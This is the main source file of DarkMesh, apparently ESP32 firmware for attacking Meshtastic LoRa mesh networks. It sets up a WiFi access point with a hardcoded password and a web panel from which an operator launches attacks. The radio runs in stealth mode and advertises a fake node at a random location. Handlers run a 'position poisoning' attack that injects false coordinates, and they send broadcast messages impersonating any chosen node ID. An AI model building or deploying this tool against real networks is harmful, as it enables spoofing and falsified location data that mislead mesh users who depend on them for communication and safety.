DarkMesh/main/main.cpp

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include "sdkconfig.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_system.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "nvs_flash.h"
#include "esp_log.h"

#include "esp_random.h"
#include "MeshtasticCompact.hpp"
#include "webserver.h"
#include "TMAttack.hpp"

static const char* TAG = "DarkMesh";

static const char* ssid = "DarkMesh";
static const char* password = "1234Dark";

extern "C" {
void app_main();
}
TMAttack tmAttack;

Radio_PINS radio_pins = {9, 11, 10, 8, 14, 12, 13};  // Default radio pins for Heltec WSL V3.
LoraConfig lora_config = {
    .frequency = 869.25,
    .bandwidth = 250.0,
    .spreading_factor = 11,
    .coding_rate = 5,
    .sync_word = 0x2b,
    .preamble_length = 16,
    .output_power = 22,
    .tcxo_voltage = 1.8,
    .use_regulator_ldo = false,
};  // default LoRa configuration for EU LONGFAST 433
MeshtasticCompact meshtasticCompact;

void app_main(void) {
    ESP_ERROR_CHECK(nvs_flash_init());
    ESP_ERROR_CHECK(esp_netif_init());
    ESP_ERROR_CHECK(esp_event_loop_create_default());
    esp_netif_create_default_wifi_ap();

    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
    ESP_ERROR_CHECK(esp_wifi_init(&cfg));

    wifi_config_t wifi_config = {};
    strcpy((char*)wifi_config.ap.ssid, ssid);
    wifi_config.ap.ssid_len = strlen(ssid);
    strcpy((char*)wifi_config.ap.password, password);
    wifi_config.ap.max_connection = 4;
    wifi_config.ap.authmode = WIFI_AUTH_WPA_WPA2_PSK;
    if (strlen(password) == 0) {
        wifi_config.ap.authmode = WIFI_AUTH_OPEN;
    }
    ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
    ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config));
    ESP_ERROR_CHECK(esp_wifi_start());
    ESP_LOGI(TAG, "WiFi AP initialized. SSID: %s, Password: %s", ssid, password);

    init_httpd();

    ESP_LOGI(TAG, "Radio initializing...");
    meshtasticCompact.RadioInit(RadioType::SX1262, radio_pins, lora_config);
    ESP_LOGI(TAG, "Radio initialized.");
    meshtasticCompact.setAutoFullNode(false);  // we don't want to be a full node
    meshtasticCompact.setSendHopLimit(7);      // max hop limit
    meshtasticCompact.setStealthMode(true);    // stealth mode, we don't
    meshtasticCompact.setSendEnabled(true);    // we want to send packets
    tmAttack.setRadio(&meshtasticCompact);

    std::string short_name = "DM";                                                                                                          // short name
    std::string long_name = "DarkMesh";                                                                                                     // long name
    MeshtasticCompactHelpers::NodeInfoBuilder(meshtasticCompact.getMyNodeInfo(), esp_random(), short_name, long_name, esp_random() % 105);  // random nodeinfo
    MeshtasticCompactHelpers::PositionBuilder(meshtasticCompact.my_position,
                                              -180.0 + static_cast<double>(esp_random()) / UINT32_MAX * 360.0,  // random longitude [-180, 180]
                                              -90.0 + static_cast<double>(esp_random()) / UINT32_MAX * 180.0,   // random latitude [-90, 90]
                                              esp_random() % 1000                                               // altitude
    );
    uint32_t timer = 0;  // 0.1 second timer
    while (1) {
        timer++;
        if (timer % 600000 == 0) {
            meshtasticCompact.SendMyNodeInfo();
            meshtasticCompact.SendMyPosition();
        }
        tmAttack.loop();
        vTaskDelay(pdMS_TO_TICKS(100));  // wait 100 milliseconds
    }
}

void handle_start_attack(const char* attack_type, JSON_Object* params) {
    ESP_LOGI("WEB", "Handling 'start_attack': %s", attack_type);
    if (strcmp(attack_type, "pos_poison") == 0 && params != NULL) {
        double min_lat = json_object_get_number(params, "min_lat");
        double max_lat = json_object_get_number(params, "max_lat");
        double min_lon = json_object_get_number(params, "min_lon");
        double max_lon = json_object_get_number(params, "max_lon");
        ESP_LOGI("WEB", "Position Poisoning Attack Params: min_lat=%.6f, max_lat=%.6f, min_lon=%.6f, max_lon=%.6f", min_lat, max_lat, min_lon, max_lon);
        tmAttack.setPosAttackParams(min_lat, max_lat, min_lon, max_lon);
        tmAttack.setAttackType(AttackType::POS_POISON);
        std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"Position Poison\"}";
        ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
    }
}

void handle_set_config(JSON_Object* params) {
    ESP_LOGI("WEB", "Handling 'set_config'");
    double frequency = json_object_get_number(params, "frequency");
    double bandwidth = json_object_get_number(params, "bandwidth");
    double sf = json_object_get_number(params, "spreading_factor");  // Numbers are doubles in parson

    ESP_LOGI("WEB", "Config: Freq=%.1f, BW=%.1f, SF=%.0f", frequency, bandwidth, sf);
    // TODO: Your logic here
}
// ... other handlers
void handle_stop_attack() {
    tmAttack.setAttackType(AttackType::NONE);
    ESP_LOGI("WEB", "Handling 'stop_attack'");
    std::string wsmsg = "{\"type\":\"status_update\"}";
    ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}

void handle_send_message(const char* source_id, const char* message) {
    ESP_LOGI("WEB", "Handling 'send_message' from %s: %s", source_id, message);
    uint32_t srcnode = 0xabbababa;  // default
    const char* hexstr = (*source_id == '!') ? source_id + 1 : source_id;
    char* endptr;  // To check if the whole string was converted
    errno = 0;     // Reset errno before the call
    unsigned long value = strtoul(hexstr, &endptr, 16);
    if (endptr != hexstr && *endptr == '\0' && errno != ERANGE && value <= 0xFFFFFFFF) {
        srcnode = (uint32_t)value;
        meshtasticCompact.SendTextMessage(std::string(message), 0xffffffff, 8, MC_MESSAGE_TYPE_TEXT, srcnode);
        ESP_LOGI("WEB", "Sent message with srcnode=0x%08" PRIx32, srcnode);
        std::string wsmsg = "{\"type\":\"debug\", \"message\":\"Sent message.\"}";
        ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
    }
}